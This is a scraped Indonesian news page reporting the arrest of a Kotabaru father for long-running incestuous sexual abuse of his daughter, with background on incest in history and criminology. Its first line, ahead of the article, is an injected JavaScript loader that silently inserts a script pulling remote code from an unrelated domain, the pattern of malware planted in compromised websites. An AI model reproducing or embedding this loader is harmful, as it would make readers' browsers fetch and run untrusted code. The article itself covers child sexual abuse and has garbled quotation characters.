(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KOTABARU, Inses sejatinya adalah hubungan yang melibatkan seksualitas antara pihak-pihak yang berhubungan kekerabatan atau sedarah. Fenomena ini terjadi sejak beribu tahun yang lalu. Sejarah mencatat raja-raja Mesir kuno dan putra-putrinya kerap melakukan inses dengan motif meningkatkan kualitas penerus dan melanggengkan kekuasaan.
Contohnya adalah perkawinan Ptolemeus II dengan saudara perempuannya, Elsione. Hal seperti ini juga ada di ranah mitik, seperti dalam kisah Dewa Zeus yang menikahi kakak kandungnya sendiri, Hera.
Namun, yang perlu ditekankan, inses yang melibatkan dua orang dewasa yang bersepakatâ€â€misalnya adik-kakakâ€â€adalah hal tabu, tapi tak ada pihak yang menjadi korban.
Namun, lain halnya dengan inses yang melibatkan pemaksaan. Ia termasuk ke dalam ranah kejahatan seksual. Kejahatan inses ini kerap terjadi pada perempuan dan anak perempuan yang disertai pemaksaan, ancaman, serta kekerasan. Mulyana Kusumah dalam bukunya Kejahatan dan Penyimpangan memasukkan kejahatan inses ke dalam kategori seductive rape.
Menurut penelitian Dina Afriani, sarjana hukum dari Universitas Sumatera Utara, penyimpangan seksual ini biasanya dipicu oleh faktor-faktor kompleks para pelakunya.
Dalam penelitiannya mengenai aspek yuridis dan kriminologi soal hubungan seksual sedarah yang dilakukan ayah kandung terhadap anak kandungnya, Dina menyebutkan beberapa faktor internal penyebab kejahatan seksual tersebut. Akar dari permasalahan ini, menurutnya, adalah adanya ketimpangan hubungan antaranggota keluarga, diikuti faktor ekonomi (kemiskinan).
Faktor lainnya adalah adanya gangguan psikologis dari pelaku inses. Gangguan psikologis ini dapat berupa hasrat seks terhadap anak-anak (pedofilia), juga hiperseks.
Contoh dari hiperseks tersebut terlihat pada kasus kekerasan seksual antara laki-laki Malaysia yang dijatuhi hukuman 12.000 tahun penjara. Sedangkan faktor kemiskinan dan efek lingkungan terjadi pada perkara inses di sejumlah lokasi.
Sebelumnya, Kasus hubungan sedarah atau inses antara ayah dan anak kandungnya sendiri, kembali terjadi di Kotabaru. Perbuatan itu dilakukan selama hampir tiga tahun, hingga sang anak melahirkan dari hasil hubungan amoral tersebut.
Peristiwa ini terbongkar, setelah korban D (19) melaporkan kasus kejahatan seksual yang dialaminya ke polisi. Berdasar laporan dan bukti-bukti yang diungkap korban, unit Buser Polres Kotabaru pun akhirnya menangkap Y (40), sang ayah yang bekerja sebagai buruh bangunan, Kamis (2/1) sekitar pukul 17.00 Wita.
Kapolres Kotabaru AKBP Andi Adnan Syafruddin melalui Kasat Reskrim Iptu Imam Wahyu Pramono mengatakan, tersangka ditangkap tak lama setelah korban melapor. “Saat ini pelaku beserta barang bukti sudah kami amankan. Kejadiannya memang sudah lama, tapi korban baru melapor pada 2 Januari kemarin,†katanya. (cel/tirto)
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.